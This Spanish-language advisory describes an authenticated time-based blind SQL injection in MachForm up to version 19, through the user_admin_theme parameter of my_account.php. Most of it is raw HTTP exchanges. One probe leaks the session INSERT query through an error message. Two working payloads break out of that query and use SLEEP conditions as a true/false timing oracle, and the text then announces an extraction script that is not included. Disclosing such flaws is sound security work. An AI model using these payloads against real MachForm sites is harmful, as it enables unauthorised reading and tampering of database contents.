
Script de explotación para inyección SQL ciega autenticada en MachForm hasta la v19, que utiliza técnicas basadas en tiempo para extraer información de la base de datos desde el endpoint my_account.php.
MachForm hasta la versión 19 se ve afectado por una inyección SQL ciega autenticada en la página de configuración de la cuenta de usuario.
Los ataques de inyección SQL consisten en insertar consultas SQL mediante el uso de un campo de datos de entrada de la aplicación cliente. Este tipo de ataque permite obtener acceso a la base de datos, lo que podría llevar a la exfiltración, modificación o eliminación de datos existentes.
La inyección SQL ciega es un tipo específico de ataque en el que el atacante no recibe el resultado completo de la consulta, sino que solo puede hacer preguntas de verdadero o falso; esto se puede lograr mediante el uso de funciones de sleep para forzar una demora en la respuesta de la base de datos o induciendo condiciones de error.
El parámetro user_admin_theme en el recurso my_account.php es vulnerable a inyección SQL.

Solicitud:
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
Origin: https://application-baseurl
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
user_admin_theme=vibrant'+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1
Respuesta:
HTTP/1.1 302 Found
Date: Wed, 10 Apr 2024 09:15:21 GMT
Content-Security-Policy: default-src 'self' 'unsafe-inline'; img-src 'self' data:; frame-ancestors 'self' *.application-baseurl; script-src-elem 'self' 'unsafe-inline' www.machform.com
Strict-Transport-Security: max-age=31536000
Referrer-Policy: no-referrer, strict-origin
X-Content-Type-Options: nosniff
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /my_account.php
Vary: Accept-Encoding,User-Agent
Content-Length: 967
Content-Type: text/html; charset=UTF-8
Connection: close
SQL: [647] INSERT INTO `ap_sessions` VALUES('ngkvjulsl5pstmlb8q6jds2vle', 'session_timeout|i:1712740521;mf_logged_in|b:1;mf_user_id|s:2:"11";mf_user_privileges|a:3:{s:15:"priv_administer";i:0;s:14:"priv_new_forms";i:0;s:15:"priv_new_themes";i:0;}mf_user_admin_theme|s:9:"vibrant' ";MF_SUCCESS|s:28:"Your profile has been saved.";', '1712740521') ON DUPLICATE KEY UPDATE `data`='session_timeout|i:1712740521;mf_logged_in|b:1;mf_user_id|s:2:"11";mf_user_privileges|a:3:{s:15:"priv_administer";i:0;s:14:"priv_new_forms";i:0;s:15:"priv_new_themes";i:0;}mf_user_admin_theme|s:9:"vibrant' ";MF_SUCCESS|s:28:"Your profile has been saved.";',`timestamp`='1712740521'
Params: 0
Query Failed: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Your profile has been saved.";', '1712740521') ON DUPLICATE KEY UPDATE `data`='s' at line 1
Esto se puede explotar mediante un ataque basado en tiempo usando una condición de sleep y verificando si la demora en la respuesta cambia según el resultado de la consulta solicitada.
Consulta: SELECT CASE WHEN (1=1) THEN SLEEP(2) ELSE SLEEP(0) END
Al usar una condición siempre verdadera, la respuesta de la aplicación tarda más de 2000 ms.

Solicitud:
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Referer: https://application-baseurl
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Origin: https://application-baseurl
Connection: close
user_admin_theme=dark',+'1712843926')+ON+DUPLICATE+KEY+UPDATE+`timestamp`%3d'1712843926'%3b+SELECT+CASE+WHEN+(1%3d1)+THEN+SLEEP(2)+ELSE+SLEEP(0)+END+--+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1
Consulta: SELECT CASE WHEN (1=2) THEN SLEEP(2) ELSE SLEEP(0) END
Al usar en cambio una condición siempre falsa, la respuesta de la aplicación es casi instantánea.

Solicitud:
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Referer: https://application-baseurl/
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Origin: https://application-baseurl
Connection: close
user_admin_theme=dark',+'1712843926')+ON+DUPLICATE+KEY+UPDATE+`timestamp`%3d'1712843926'%3b+SELECT+CASE+WHEN+(1%3d0)+THEN+SLEEP(2)+ELSE+SLEEP(0)+END+--+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1
Esta vulnerabilidad se puede explotar usando un script simple que evalúa el tiempo de respuesta para entender si la consulta ingresada tuvo una respuesta verdadera o falsa.
A continuación, un ejemplo usado para recuperar el usuario actual de la base de datos usando exploit.py.
